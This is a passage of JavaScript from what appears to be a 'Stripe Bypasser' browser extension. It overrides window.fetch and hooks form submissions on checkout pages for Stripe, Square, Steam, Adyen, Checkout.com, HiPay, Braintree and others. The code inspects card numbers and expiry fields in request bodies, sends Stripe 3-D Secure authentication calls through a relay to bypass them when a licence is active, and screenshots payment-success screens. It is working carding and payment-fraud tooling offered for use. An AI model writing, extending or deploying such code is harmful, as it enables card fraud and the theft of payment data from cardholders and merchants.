                  if (boundingRect.width > 0 && boundingRect.height > 0) {
                    return resolve(true);
                  }
                }
                const querySelectorClassValue =
                  typeof document !== "undefined"
                    ? document.querySelector(
                        '[class*="Success"], [class*="success"], [class*="Checkmark"], [class*="checkmark"], svg[data-testid*="success"], svg[data-testid*="check"]'
                      )
                    : null;
                if (querySelectorClassValue) {
                  const boundingRect = querySelectorClassValue.getBoundingClientRect();
                  if (boundingRect.width > 0 && boundingRect.height > 0) {
                    return resolve(true);
                  }
                }
                if (performance.now() - startTime > timeoutMs) {
                  resolve(false);
                  return;
                }
                if (typeof requestAnimationFrame !== "undefined") {
                  requestAnimationFrame(waitForSuccessUi);
                } else {
                  setTimeout(waitForSuccessUi, 100);
                }
              } catch (error) {
                resolve(false);
              }
            };
            waitForSuccessUi();
          });
        })(6000)
      ) {
        if (!transitionCaptureState(captureState.UI_READY)) {
          return;
        }
        logCaptureScreenshot("Green success UI detected");
      } else {
        logCaptureScreenshot("Success UI not detected, proceeding with fallback screenshot");
      }
      setTimeout(() => {
        markCaptured(paymentId);
        try {
          if (typeof document !== "undefined" && document && document.dispatchEvent) {
            document.dispatchEvent(
              new CustomEvent("stripeBypasserScreenshot", {
                detail: {
                  type: "STRIPE_BYPASSER_SCREENSHOT",
                  reason: reason || "Payment Succeeded",
                  paymentId
                }
              })
            );
          }
          if (typeof window !== "undefined" && window.postMessage) {
            window.postMessage(
              {
                type: "STRIPE_BYPASSER_SCREENSHOT",
                reason: reason || "Payment Succeeded",
                paymentId
              },
              "*"
            );
          }
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
        transitionCaptureState(captureState.CAPTURED);
      }, 300);
    }
  }
  function resumeDeferredScreenshotCapture() {
    if (
      typeof document !== "undefined" &&
      !document.hidden &&
      deferredCaptureInfo &&
      paymentCaptureState === captureState.SUCCESS
    ) {
      logCaptureScreenshot("Tab became visible, resuming deferred capture");
      const { reason } = deferredCaptureInfo;
      deferredCaptureInfo = null;
      dispatchPaymentScreenshotCapture(reason);
    }
  }
  function onStripeSuccessSignal({ paymentId: candidatePaymentId, source, confidence }) {
    if (!candidatePaymentId || typeof candidatePaymentId !== "string") {
      logCaptureBlock("Invalid paymentId parameter", null);
      return;
    }
    if (!source || typeof source !== "string") {
      logCaptureBlock("Invalid source parameter", candidatePaymentId);
      return;
    }
    if (!confidence || typeof confidence !== "string") {
      logCaptureBlock("Invalid confidence parameter", candidatePaymentId);
      return;
    }
    if (
      !candidatePaymentId.startsWith("pi_") &&
      !candidatePaymentId.startsWith("cs_") &&
      !candidatePaymentId.startsWith("in_")
    ) {
      logCaptureBlock(
        "Payment ID is not immutable (must be pi_*, cs_*, or in_*)",
        candidatePaymentId
      );
      return;
    }
    ((signalSource, signalConfidence, signalPaymentId) => {
      stripeBypasserLogger.debug(
        "[SIGNAL]",
        "source=" + signalSource,
        "confidence=" + signalConfidence,
        "paymentId=" + (signalPaymentId || "none")
      );
    })(source, confidence, candidatePaymentId);
    if (confidence !== "verified") {
      logCaptureBlock("Confidence is not verified: " + confidence, candidatePaymentId);
      return;
    }
    if (paymentCaptureState !== captureState.IDLE) {
      logCaptureBlock("FSM not in IDLE state: " + paymentCaptureState, candidatePaymentId);
      return;
    }
    if (wasCaptured(candidatePaymentId)) {
      logCaptureBlock("Payment already captured (deduplication)", candidatePaymentId);
      return;
    }
    let settingsData = {};
    if (
      typeof window !== "undefined" &&
      window.StripeBypasserSettings &&
      typeof window.StripeBypasserSettings.get === "function"
    ) {
      settingsData = window.StripeBypasserSettings.get();
    } else if (typeof window !== "undefined" && window.__STRIPE_BYPASSER_SETTINGS__) {
      settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
    }
    if (settingsData.autoScreenshot !== true) {
      logCaptureBlock("Auto-screenshot is disabled", candidatePaymentId);
      return;
    }
    paymentId = candidatePaymentId;
    if (!transitionCaptureState(captureState.SUCCESS)) {
      paymentId = null;
      return;
    }
    let successTitle = "Payment Succeeded";
    if (source === "android") {
      successTitle = "Payment Succeeded (Android)";
    } else if (source === "ios") {
      successTitle = "Payment Succeeded (iOS)";
    }
    dispatchPaymentScreenshotCapture(successTitle);
  }
  function processPaymentResponse(paymentResponse, settingsData) {
    if (typeof paymentResponse === "string") {
      try {
        paymentResponse = JSON.parse(paymentResponse);
      } catch (error) {
        if (!settingsData) {
          logCaptureBlock("Payload is string but responseText is missing", null);
          return;
        }
        try {
          paymentResponse = JSON.parse(settingsData);
        } catch (innerError) {
          logCaptureBlock("Failed to parse payload", null);
          return;
        }
      }
    }
    if (!isVerifiedStripeSuccess(paymentResponse)) {
      return;
    }
    const candidatePaymentId = extractPaymentId(paymentResponse);
    if (candidatePaymentId) {
      onStripeSuccessSignal({
        paymentId: candidatePaymentId,
        source: "web",
        confidence: "verified"
      });
    } else {
      logCaptureBlock("No payment ID found in payload", null);
    }
  }
  function handleAndroidSignal(candidatePaymentId, paymentStatus) {
    if (candidatePaymentId && typeof candidatePaymentId === "string") {
      if (paymentStatus === "succeeded") {
        onStripeSuccessSignal({
          paymentId: candidatePaymentId,
          source: "android",
          confidence: "verified"
        });
      } else {
        logCaptureBlock(
          "Android signal: status is not succeeded: " + paymentStatus,
          candidatePaymentId
        );
      }
    } else {
      logCaptureBlock("Android signal: invalid paymentId", null);
    }
  }
  function handleIosSignal(candidatePaymentId, sourceType) {
    if (candidatePaymentId && typeof candidatePaymentId === "string") {
      if (sourceType && ["url", "title", "js_handler"].includes(sourceType)) {
        onStripeSuccessSignal({
          paymentId: candidatePaymentId,
          source: "ios",
          confidence: sourceType === "js_handler" ? "verified" : "ui-only"
        });
      } else {
        logCaptureBlock("iOS signal: invalid sourceType: " + sourceType, candidatePaymentId);
      }
    } else {
      logCaptureBlock("iOS signal: invalid paymentId", null);
    }
  }
  if (typeof document !== "undefined" && document.addEventListener) {
    document.addEventListener("visibilitychange", resumeDeferredScreenshotCapture);
  }
  if (
    typeof window !== "undefined" &&
    typeof navigator !== "undefined" &&
    /iPad|iPhone|iPod/.test(navigator.userAgent) &&
    !window.MSStream
  ) {
    let locationHrefValue = window.location.href;
    const intervalId = setInterval(() => {
      const currentLocationHref = window.location.href;
      if (currentLocationHref !== locationHrefValue) {
        locationHrefValue = currentLocationHref;
        const computedValue = (() => {
          try {
            if (typeof window === "undefined") {
              return null;
            }
            const currentPageHref = window.location.href;
            const binList = [
              /success[=/]/i,
              /payment[=/]succeeded/i,
              /checkout[=/]success/i,
              /status[=/]paid/i
            ];
            for (const firstBinEntry of binList) {
              if (firstBinEntry.test(currentPageHref)) {
                const match = currentPageHref.match(/(pi_|cs_|in_)[a-zA-Z0-9]+/);
                if (match) {
                  return match[0];
                }
              }
            }
          } catch (error) {
            console.warn("[Deep Bypasser] Operation failed", error.message);
          }
          return null;
        })();
        if (computedValue) {
          handleIosSignal(computedValue, "url");
        }
      }
    }, 1000);
    let titleValue = typeof document !== "undefined" ? document.title : "";
    const titleMonitorIntervalId = setInterval(() => {
      if (typeof document === "undefined") {
        return;
      }
      const currentDocumentTitle = document.title;
      if (currentDocumentTitle !== titleValue) {
        titleValue = currentDocumentTitle;
        const computedValue = (() => {
          try {
            if (typeof document === "undefined") {
              return null;
            }
            const isTitle = document.title || "";
            if (/payment.*succeeded|success|paid/i.test(isTitle)) {
              const match = ((document.body && document.body.innerText) || "").match(
                /(pi_|cs_|in_)[a-zA-Z0-9]+/
              );
              if (match) {
                return match[0];
              }
            }
          } catch (error) {
            console.warn("[Deep Bypasser] Operation failed", error.message);
          }
          return null;
        })();
        if (computedValue) {
          handleIosSignal(computedValue, "title");
        }
      }
    }, 1000);
    setTimeout(() => {
      clearInterval(intervalId);
      clearInterval(titleMonitorIntervalId);
    }, 300000);
  }
  if (typeof window !== "undefined") {
    window.StripeBypasserStrictScreenshot = {
      onStripeSuccessSignal,
      processPaymentResponse,
      handleAndroidSignal,
      handleIOSSignal: handleIosSignal,
      isVerifiedStripeSuccess,
      extractPaymentId,
      wasCaptured,
      markCaptured,
      getState: () => paymentCaptureState,
      getPaymentId: () => paymentId,
      reset() {
        paymentCaptureState = captureState.IDLE;
        paymentId = null;
        lastCaptureSignalAt = 0;
        deferredCaptureInfo = null;
        logCaptureStateTransition("reset", paymentCaptureState, captureState.IDLE);
      },
      teardown() {
        paymentCaptureState = captureState.IDLE;
        paymentId = null;
        lastCaptureSignalAt = 0;
        deferredCaptureInfo = null;
        logCaptureStateTransition("reset", paymentCaptureState, captureState.IDLE);
        if (typeof document !== "undefined" && document.removeEventListener) {
          document.removeEventListener("visibilitychange", resumeDeferredScreenshotCapture);
        }
      }
    };
  }
  function shouldCapturePaymentScreenshot(cardIdentifier, paymentData) {
    if (typeof window === "undefined" || !window.__paymentScreenshotTracker) {
      return false;
    }
    let trackingKey = cardIdentifier || "unknown";
    if (paymentData) {
      const paymentTrackingId =
        paymentData.id || paymentData.payment_intent?.id || paymentData.payment_intent_id;
      if (paymentTrackingId) {
        trackingKey = paymentTrackingId;
      }
    }
    const now = Date.now();
    const lastCapturedAt = window.__paymentScreenshotTracker.get(trackingKey);
    if (lastCapturedAt && now - lastCapturedAt < 10000) {
      return false;
    }
    window.__paymentScreenshotTracker.set(trackingKey, now);
    for (const [
      trackingEntryKey,
      trackingEntryTimestamp
    ] of window.__paymentScreenshotTracker.entries()) {
      if (now - trackingEntryTimestamp > 60000) {
        window.__paymentScreenshotTracker.delete(trackingEntryKey);
      }
    }
    if (window.__paymentScreenshotTracker.size > 100) {
      const sortedCaptureEntries = Array.from(window.__paymentScreenshotTracker.entries()).sort(
        (left, right) => left[1] - right[1]
      );
      sortedCaptureEntries
        .slice(0, sortedCaptureEntries.length - 100)
        .forEach(([currentEntry]) => window.__paymentScreenshotTracker.delete(currentEntry));
    }
    return true;
  }
  if (typeof window !== "undefined" && !window.__paymentScreenshotTracker) {
    window.__paymentScreenshotTracker = new Map();
  }
  if (typeof window !== "undefined") {
    const syncAutoCaptchaConfig = () => {
      if (window.fetch !== interceptedFetch && window.fetch !== window.__ourFetchInterceptorRef) {
        try {
          const fetchDescriptor = {
            value: interceptedFetch,
            writable: true,
            configurable: false
          };
          Object.defineProperty(window, "fetch", fetchDescriptor);
        } catch (error) {
          window.fetch = interceptedFetch;
        }
      }
    };
    const domReadyHandler = () => {
      if (
        typeof document !== "undefined" &&
        document &&
        document.addEventListener &&
        window.location.hostname.includes("steampowered.com")
      ) {
        console.log("[FormInterceptor] Setting up form submission event listener");
        document.addEventListener(
          "submit",
          event => {
            const targetValue = event.target;
            if (targetValue && targetValue.tagName === "FORM") {
              const formSubmissionInfo = {
                action: targetValue.action,
                method: targetValue.method,
                url: targetValue.action || window.location.href
              };
              console.log(
                "[FormInterceptor] ⚡ FORM SUBMISSION EVENT DETECTED ⚡",
                formSubmissionInfo
              );
              try {
                const formData = new FormData(targetValue);
                const serializedFormData = new URLSearchParams(formData).toString();
                if (
                  serializedFormData.toLowerCase().includes("gidshoppingcart") ||
                  serializedFormData.toLowerCase().includes("cardnumber")
                ) {
                  console.log("[FormInterceptor] ⚡ PAYMENT FORM EVENT DETECTED ⚡", {
                    action: targetValue.action,
                    method: targetValue.method,
                    formDataPreview: serializedFormData.substring(0, 500)
                  });
                }
              } catch (error) {
                console.log("[FormInterceptor] Error reading form data from event:", error);
              }
            }
          },
          true
        );
        console.log("[FormInterceptor] Form submission event listener installed");
      }
    };
    window.__FetchInterceptorInstalled = true;
    const originalFetch = window.__deepBypasserOriginalFetch || window.fetch;
    window.__originalFetch = originalFetch;
    const interceptedFetch = async function interceptFetchRequest(...fetchArgs) {
      const [requestInput, requestOptions = {}] = fetchArgs;
      let options = requestOptions || {};
      let url = typeof requestInput === "string" ? requestInput : requestInput.toString();
      (options.method || "GET").toUpperCase();
      let requestBodyText = options.body;
      if (requestBodyText && typeof requestBodyText !== "string") {
        if (requestBodyText instanceof FormData) {
          const searchParams = new URLSearchParams();
          for (const [fieldName, fieldValue] of requestBodyText.entries()) {
            searchParams.append(fieldName, fieldValue);
          }
          requestBodyText = searchParams.toString();
        } else {
          requestBodyText =
            requestBodyText instanceof URLSearchParams
              ? requestBodyText.toString()
              : String(requestBodyText);
        }
      }
      const logInterceptedFetchError = error => {
        const errorMessage = error instanceof Error ? error.message : String(error);
        if (stripeBypasserLogger && stripeBypasserLogger.warn) {
          stripeBypasserLogger.warn("[FetchInterceptor] Operation failed", errorMessage);
          return;
        }
        console.warn("[Deep Bypasser] Error di interceptedFetch:", errorMessage);
      };
      const emitPaymentLogEntry = paymentLogEntry => {
        if (typeof document !== "undefined" && document && document.dispatchEvent) {
          try {
            document.dispatchEvent(
              new CustomEvent("stripeBypasserPaymentLog", {
                detail: paymentLogEntry
              })
            );
          } catch (error) {
            logInterceptedFetchError(error);
          }
        }
        try {
          window.postMessage(paymentLogEntry, "*");
        } catch (error) {
          logInterceptedFetchError(error);
        }
      };
      if (
        requestBodyText &&
        typeof requestBodyText === "string" &&
        requestBodyText.toLowerCase().includes("gidshoppingcart")
      ) {
        console.log(
          "[SteamDetect] EARLY DETECTION: Found gidShoppingCart in body - DEFINITIVE Steam request!",
          {
            url,
            bodyPreview: requestBodyText.substring(0, 200)
          }
        );
      }
      if (url.startsWith("/") || !url.includes("://")) {
        try {
          const resolvedUrl = new URL(url, window.location.origin);
          url = resolvedUrl.href;
        } catch (error) {
          logInterceptedFetchError(error);
        }
      }
      if (
        (url.includes("/v1/3ds2/authenticate") ||
          url.includes("/v2/3ds2/authenticate") ||
          url.includes("/v3/3ds2/authenticate") ||
          (url.includes("stripe.com") && url.includes("3ds2/authenticate"))) &&
        options.method &&
        options.method.toUpperCase() === "POST" &&
        options.body
      ) {
        try {
          let settingsData = {};
          if (
            window.StripeBypasserSettings &&
            typeof window.StripeBypasserSettings.get === "function"
          ) {
            settingsData = window.StripeBypasserSettings.get();
          } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
            settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
          }
          if (settingsData && settingsData.enabled === false) {
            return originalFetch.apply(this, fetchArgs);
          }
          if (settingsData && settingsData.threeDSBypass === false) {
            return originalFetch.apply(this, fetchArgs);
          }
          if (!settingsData || settingsData.licenseActive !== true) {
            console.log("[3DS-Bypass] License not active, skipping 3DS bypass");
            return originalFetch.apply(this, fetchArgs);
          }
        } catch (error) {
          logInterceptedFetchError(error);
        }
        try {
          const body = typeof options.body === "string" ? options.body : options.body.toString();
          let headers = {};
          if (options.headers) {
            if (options.headers instanceof Headers) {
              options.headers.forEach((item, index) => {
                headers[index] = item;
              });
            } else if (typeof options.headers === "object") {
              headers = {
                ...options.headers
              };
            }
          }
          const requestId =
            "r3ds_" + Date.now() + "_" + Math.random().toString(36).substring(2, 11);
          console.log("[3DS-Bypass] Routing 3DS authenticate through background:", url);
          return new Promise(resolve => {
            let relayHandled = false;
            function handle3DSRelayResponse(event) {
              if (
                event.data &&
                event.data.type === "STRIPE_BYPASSER_3DS_RELAY_RESPONSE" &&
                event.data.requestId === requestId
              ) {
                window.removeEventListener("message", handle3DSRelayResponse);
                relayHandled = true;
                if (event.data.error) {
                  if (event.data.error !== "Relay server offline") {
                    console.warn(
                      "[3DS-Bypass] Background relay failed, falling back to direct:",
                      event.data.error
                    );
                  }
                  resolve(originalFetch.apply(window, [requestInput, options]));
                } else {
                  console.log(
                    "[3DS-Bypass] Got response from background relay:",
                    event.data.status
                  );
                  const relayHeaders = new Headers();
                  if (event.data.headers) {
                    Object.keys(event.data.headers).forEach(headerName => {
                      try {
                        relayHeaders.set(headerName, event.data.headers[headerName]);
                      } catch (error) {
                        logInterceptedFetchError(error);
                      }
                    });
                  }
                  resolve(
                    new Response(event.data.body, {
                      status: event.data.status,
                      statusText: event.data.statusText,
                      headers: relayHeaders
                    })
                  );
                }
              }
            }
            window.addEventListener("message", handle3DSRelayResponse);
            window.postMessage(
              {
                type: "STRIPE_BYPASSER_3DS_RELAY",
                requestId,
                url,
                body,
                headers,
                origin: window.location.origin
              },
              "*"
            );
            setTimeout(() => {
              if (!relayHandled) {
                window.removeEventListener("message", handle3DSRelayResponse);
                console.warn("[3DS-Bypass] Background relay timeout, falling back to direct");
                resolve(originalFetch.apply(window, [requestInput, options]));
              }
            }, 15000);
          });
        } catch (error) {
          console.warn("[3DS-Bypass] Relay setup failed, sending direct:", error);
          return originalFetch.apply(this, [requestInput, options]);
        }
      }
      const isStripeDomainUrl =
        url.includes("api.stripe.com") ||
        url.includes("stripe.com/v1/") ||
        url.includes("invoice.stripe.com") ||
        url.includes("checkout.stripe.com");
      const isSquareDomainUrl =
        url.includes("squareup.com") ||
        url.includes("square.site") ||
        url.includes("checkout.square.site") ||
        url.includes("checkout.square") ||
        url.includes("pci-connect.squareup.com") ||
        url.includes("connect.squareup.com");
      const isSteamUrl =
        url.includes("checkout.steampowered.com") || url.includes("steampowered.com");
      let hasStripePayload = false;
      if (
        !isStripeDomainUrl &&
        !isSquareDomainUrl &&
        !isSteamUrl &&
        options.body &&
        typeof options.body === "string"
      ) {
        const normalizedText = options.body.toLowerCase();
        if (
          !normalizedText.includes("card_data") &&
          !normalizedText.includes("carddata") &&
          !normalizedText.includes("square")
        ) {
          hasStripePayload =
            (normalizedText.includes("payment_method_data") ||
              normalizedText.includes("payment_method") ||
              normalizedText.includes("payment_intent") ||
              (normalizedText.includes("card[number]") && !normalizedText.includes("card_data")) ||
              (normalizedText.includes("card%5bnumber%5d") &&
                !normalizedText.includes("card_data")) ||
              (normalizedText.includes("stripe") &&
                (normalizedText.includes("card") || normalizedText.includes("payment")))) &&
            (url.includes("/payment") ||
              url.includes("/checkout") ||
              url.includes("/pay") ||
              url.includes("/charge") ||
              url.includes("/process"));
        }
      }
      const requestMethod = (options.method || "GET").toUpperCase();
      const isGogApi =
        url.includes("api.gog.com") &&
        url.includes("/checkout/") &&
        url.includes("/payment") &&
        !url.includes("/payment-provider/") &&
        requestMethod === "POST";
      const isAdyenApi =
        (url.includes("checkoutshopper-live.adyen.com") ||
          url.includes("checkoutshopper-test.adyen.com") ||
          url.includes("api.adyen.com") ||
          url.includes("checkout.adyen.com") ||
          url.includes("live.adyen.com") ||
          url.includes("test.adyen.com")) &&
        ((url.includes("/checkoutshopper/v1/sessions/") && url.includes("/payments")) ||
          (url.includes("/v1/payments") && url.includes("adyen.com")) ||
          (url.includes("/v1/payment") && url.includes("adyen.com")));
      let hasAdyenPayload = false;
      if (!isAdyenApi && options.body && typeof options.body === "string") {
        const normalizedText = options.body.toLowerCase();
        const hasEncryptedAdyenFields =
          normalizedText.includes("encryptedcardnumber") ||
          normalizedText.includes("encryptedsecuritycode") ||
          (normalizedText.includes('"details"') && normalizedText.includes('"paymentmethod"'));
        const isPaymentRequestPath =
          url.includes("/payment") ||
          url.includes("/payments") ||
          url.includes("/checkout/payment") ||
          url.includes("/process-payment");
        hasAdyenPayload = hasEncryptedAdyenFields && isPaymentRequestPath;
      }
      const isAdyenRequest = (isAdyenApi || hasAdyenPayload) && !isGogApi;
      let hasHiPayPayload = false;
      if (options.body) {
        let serializedRequestBody = options.body;
        if (typeof serializedRequestBody !== "string") {
          if (serializedRequestBody instanceof FormData) {
            const searchParams = new URLSearchParams();
            for (const [bodyKey, bodyValue] of serializedRequestBody.entries()) {
              searchParams.append(bodyKey, bodyValue);
            }
            serializedRequestBody = searchParams.toString();
          } else if (serializedRequestBody instanceof URLSearchParams) {
            serializedRequestBody = serializedRequestBody.toString();
          } else if (typeof serializedRequestBody === "object") {
            try {
              serializedRequestBody = JSON.stringify(serializedRequestBody);
            } catch (error) {
              serializedRequestBody = String(serializedRequestBody);
            }
          } else {
            serializedRequestBody = String(serializedRequestBody);
          }
        }
        if (typeof serializedRequestBody === "string") {
          const normalizedText = serializedRequestBody.toLowerCase();
          const hasCardNumber =
            normalizedText.includes("card_number") || normalizedText.includes('"card_number"');
          const hasExpiryMonth =
            normalizedText.includes("card_expiry_month") ||
            normalizedText.includes("card_expmonth") ||
            normalizedText.includes("cardexpmonth") ||
            normalizedText.includes('"card_expiry_month"');
          const hasExpiryYear =
            normalizedText.includes("card_expiry_year") ||
            normalizedText.includes("card_expyear") ||
            normalizedText.includes("cardexpyear") ||
            normalizedText.includes('"card_expiry_year"');
          const hasCardHolder =
            normalizedText.includes("card_holder") ||
            normalizedText.includes("cardholder") ||
            normalizedText.includes('"card_holder"');
          const hasMultiUse =
            normalizedText.includes("multi_use") || normalizedText.includes('"multi_use"');
          hasHiPayPayload =
            hasCardNumber &&
            hasExpiryMonth &&
            hasExpiryYear &&
            (hasCardHolder || hasMultiUse) &&
            (url.includes("/payment") ||
              url.includes("/checkout") ||
              url.includes("/token") ||
              url.includes("/pay") ||
              url.includes("/card-metadata") ||
              url.includes("checkout.com") ||
              url.includes("devices.api.checkout.com") ||
              url.includes("card-acquisition-gateway.checkout.com"));
          if (hasCardNumber || url.includes("checkout.com") || url.includes("hipay")) {
            console.log("[HiPayDetection] Early payload check (BEFORE Checkout.com):", {
              url,
              hasHiPayPayload,
              hasCardNumber,
              hasExpiryMonth,
              hasExpiryYear,
              hasCardHolder,
              hasMultiUse,
              bodyPreview: serializedRequestBody.substring(0, 300),
              reason: getHiPayDetectionReason({
                hasHiPayPayload,
                hasCardNumber,
                hasExpiryMonth,
                hasExpiryYear,
                hasCardHolder,
                hasMultiUse
              })
            });
          }
        }
      }
      const isCheckoutCom =
        (url.includes("api.checkout.com") || url.includes("devices.api.checkout.com")) &&
        !url.includes("card-acquisition-gateway.checkout.com") &&
        !url.includes("hipay") &&
        !url.includes("hipay-tpp.com") &&
        !url.includes("hipay.com") &&
        !hasHiPayPayload;
      const isSmartGlocalApi =
        (url.includes("payment.smart-glocal.com") || url.includes("smart-glocal.com")) &&
        (url.includes("/api/apm/tokenize/") || url.includes("/tokenize"));
      let hasSmartGlocalData = false;
      if (!isSmartGlocalApi && options.body && typeof options.body === "string") {
        const normalizedText = options.body.toLowerCase();
        hasSmartGlocalData =
          normalizedText.includes('"paymentdetails"') &&
          normalizedText.includes('"card"') &&
          (normalizedText.includes('"customerdetails"') ||
            normalizedText.includes('"systeminfo"')) &&
          (url.includes("/payment") ||
            url.includes("/checkout") ||
            url.includes("/tokenize") ||
            url.includes("/pay"));
      }
      const isSmartGlocalPayment = isSmartGlocalApi || hasSmartGlocalData;
      const isSteamApi =
        url.includes("checkout.steampowered.com") &&
        (url.includes("/checkout/inittransaction") ||
          url.includes("/inittransaction") ||
          url.includes("/checkout/finalizetransaction") ||
          url.includes("/finalizetransaction")) &&
        requestMethod === "POST";
      if (url.includes("steampowered.com") && requestMethod === "POST") {
        console.log("[SteamDetect] Steam URL detected", {
          url,
          isSteamAPI: isSteamApi,
          hasInittransaction:
            url.includes("/checkout/inittransaction") || url.includes("/inittransaction"),
          hasFinalizetransaction:
            url.includes("/checkout/finalizetransaction") || url.includes("/finalizetransaction"),
          requestMethod
        });
        stripeBypasserLogger.log("[FetchInterceptor] Steam URL detected, checking endpoint", {
          url,
          isSteamAPI: isSteamApi,
          hasInittransaction:
            url.includes("/checkout/inittransaction") || url.includes("/inittransaction"),
          hasFinalizetransaction:
            url.includes("/checkout/finalizetransaction") || url.includes("/finalizetransaction"),
          requestMethod
        });
      }
      let isSteamPayload = false;
      let normalizedBodyText = options.body;
      if (normalizedBodyText && typeof normalizedBodyText !== "string") {
        if (normalizedBodyText instanceof FormData) {
          const searchParams = new URLSearchParams();
          for (const [bodyFieldKey, bodyFieldValue] of normalizedBodyText.entries()) {
            searchParams.append(bodyFieldKey, bodyFieldValue);
          }
          normalizedBodyText = searchParams.toString();
        } else {
          normalizedBodyText =
            normalizedBodyText instanceof URLSearchParams
              ? normalizedBodyText.toString()
              : String(normalizedBodyText);
        }
      }
      if (!isSteamApi && normalizedBodyText && typeof normalizedBodyText === "string") {
        const normalizedText = normalizedBodyText.toLowerCase();
        const hasCardNumber = normalizedText.includes("cardnumber");
        const hasCardExpirationYear = normalizedText.includes("cardexpirationyear");
        const hasCardExpirationMonth = normalizedText.includes("cardexpirationmonth");
        const hasPaymentMethod = normalizedText.includes("paymentmethod");
        const hasSteamCardInfoMarker = normalizedText.includes("bhascardinfo");
        const hasSteamCartId = normalizedText.includes("gidshoppingcart");
        const hasSteamBodyPattern =
          (hasCardNumber && hasCardExpirationYear && hasCardExpirationMonth && hasPaymentMethod) ||
          (hasSteamCartId && hasCardNumber) ||
          (hasSteamCardInfoMarker && hasCardNumber && hasPaymentMethod);
        const hasPaymentUrlPattern =
          url.includes("/checkout") ||
          url.includes("/payment") ||
          url.includes("/transaction") ||
          url.includes("/purchase") ||
          url.includes("steampowered.com");
        isSteamPayload = hasSteamBodyPattern && hasPaymentUrlPattern;
        if (hasCardNumber && url.includes("steampowered.com")) {
          console.log("[SteamDetect] Steam payload pattern detected", {
            hasCardNumber,
            hasCardExpirationYear,
            hasCardExpirationMonth,
            hasPaymentMethod,
            hasGidShoppingCart: hasSteamCartId,
            hasSteamBodyPattern,
            hasPaymentUrlPattern,
            isSteamPayload
          });
        }
      }
      let hasGidShoppingCart = false;
      let serializedRequestBody = options.body;
      if (serializedRequestBody && typeof serializedRequestBody !== "string") {
        if (serializedRequestBody instanceof FormData) {
          const searchParams = new URLSearchParams();
          for (const [bodyKey, bodyValue] of serializedRequestBody.entries()) {
            searchParams.append(bodyKey, bodyValue);
          }
          serializedRequestBody = searchParams.toString();
        } else {
          serializedRequestBody =
            serializedRequestBody instanceof URLSearchParams
              ? serializedRequestBody.toString()
              : String(serializedRequestBody);
        }
      }
      if (
        serializedRequestBody &&
        typeof serializedRequestBody === "string" &&
        serializedRequestBody.toLowerCase().includes("gidshoppingcart")
      ) {
        hasGidShoppingCart = true;
        console.log("[SteamDetect] Found gidShoppingCart in body - DEFINITIVE Steam request!", {
          url,
          bodyPreview: serializedRequestBody.substring(0, 200)
        });
      }
      const isUniversalSteam = isSteamApi || isSteamPayload || hasGidShoppingCart;
      if (url.includes("steampowered.com") && requestMethod === "POST") {
        console.log("[SteamDetect] Final detection result", {
          url,
          isSteamAPI: isSteamApi,
          isSteamPayload,
          hasGidShoppingCart,
          isUniversalSteam,
          hasBody: !!options.body
        });
      }
      const isSquareApiRequest =
        (url.includes("squareup.com") ||
          url.includes("pci-connect.squareup.com") ||
          url.includes("connect.squareup.com") ||
          url.includes("checkout.square.site") ||
          url.includes("square.site")) &&
        (url.includes("/v2/card-nonce") ||
          url.includes("/card-nonce") ||
          (url.includes("checkout.square.site") && url.includes("/checkout")) ||
          (url.includes("square.site") && url.includes("/checkout")));
      let hasSquarePayloadPattern = false;
      if (
        !isSquareApiRequest &&
        !isSteamUrl &&
        !isSteamApi &&
        !isGogApi &&
        options.body &&
        typeof options.body === "string"
      ) {
        const isSteamDomainUrl = url.includes("steampowered.com");
        const isIncludesGog = url.includes("api.gog.com");
        if (!isSteamDomainUrl && !isIncludesGog) {
          hasSquarePayloadPattern =
            (options.body.includes('"card_data"') ||
              options.body.includes("card_data") ||
              options.body.includes("cardNumber") ||
              options.body.includes("card_number") ||
              (options.body.includes('"number"') && options.body.includes("exp_month")) ||
              options.body.includes("expiry_month") ||
              options.body.includes("expMonth") ||
              options.body.includes('"cardData"')) &&
            (url.includes("/charge") || url.includes("/process") || url.includes("/card-nonce"));
        }
      }
      const isUniversalSquare =
        !isSteamUrl && !isGogApi && (isSquareApiRequest || hasSquarePayloadPattern);
      const isNordPayApiUrl =
        (url.includes("nordpayments.com") || url.includes("iframe-api.nordpayments.com")) &&
        (url.includes("/v1/tokenize") ||
          url.includes("/tokenize") ||
          url.includes("/v1/payments") ||
          url.includes("/payments"));
      let hasNordPayPayloadPattern = false;
      if (!isNordPayApiUrl && options.body && typeof options.body === "string") {
        hasNordPayPayloadPattern =
          (options.body.includes('"primary_account_number"') ||
            options.body.includes("primary_account_number") ||
            (options.body.includes('"expiration_month"') &&
              options.body.includes('"expiration_year"'))) &&
          (url.includes("/payment") ||
            url.includes("/checkout") ||
            url.includes("/pay") ||
            url.includes("/tokenize") ||
            url.includes("/charge") ||
            url.includes("/process"));
      }
      const isNordPayRequest = isNordPayApiUrl || hasNordPayPayloadPattern;
      const isBraintreeApi =
        (url.includes("braintree-api.com") ||
          url.includes("braintreegateway.com") ||
          url.includes("payments.braintree-api.com")) &&
        (url.includes("/graphql") ||
          url.includes("/tokenize") ||
          url.includes("/v1/payment_methods") ||
          url.includes("/v1/transactions"));
      let isBraintreePayload = false;
      if (!isBraintreeApi && options.body) {
        let serializedRequestBody = options.body;
        if (
          typeof options.body !== "object" ||
          options.body instanceof FormData ||
          options.body instanceof URLSearchParams
        ) {
          if (typeof options.body !== "string") {
            serializedRequestBody = String(options.body);
          }
        } else {
          try {
            serializedRequestBody = JSON.stringify(options.body);
          } catch (error) {
            serializedRequestBody = String(options.body);
          }
        }
        if (typeof serializedRequestBody === "string") {
          isBraintreePayload =
            (serializedRequestBody.includes('"TokenizeCreditCard"') ||
              serializedRequestBody.includes("TokenizeCreditCard") ||
              (serializedRequestBody.includes('"variables"') &&
                serializedRequestBody.includes('"creditCard"')) ||
              (serializedRequestBody.includes('"input"') &&
                serializedRequestBody.includes('"creditCard"')) ||
              (serializedRequestBody.includes("variables") &&
                serializedRequestBody.includes("creditCard"))) &&
            (url.includes("/payment") ||
              url.includes("/checkout") ||
              url.includes("/pay") ||
              url.includes("/tokenize") ||
              url.includes("/charge") ||
              url.includes("/process") ||
              url.includes("/graphql"));
        }
      }
      const isUniversalBraintree = isBraintreeApi || isBraintreePayload;
      if (isBraintreeApi || isBraintreePayload || isUniversalBraintree) {
        const braintreeFetchInfo = {
          isBraintreeAPI: isBraintreeApi,
          isBraintreePayload,
          isUniversalBraintree,
          url,
          hasBody: !!options.body,
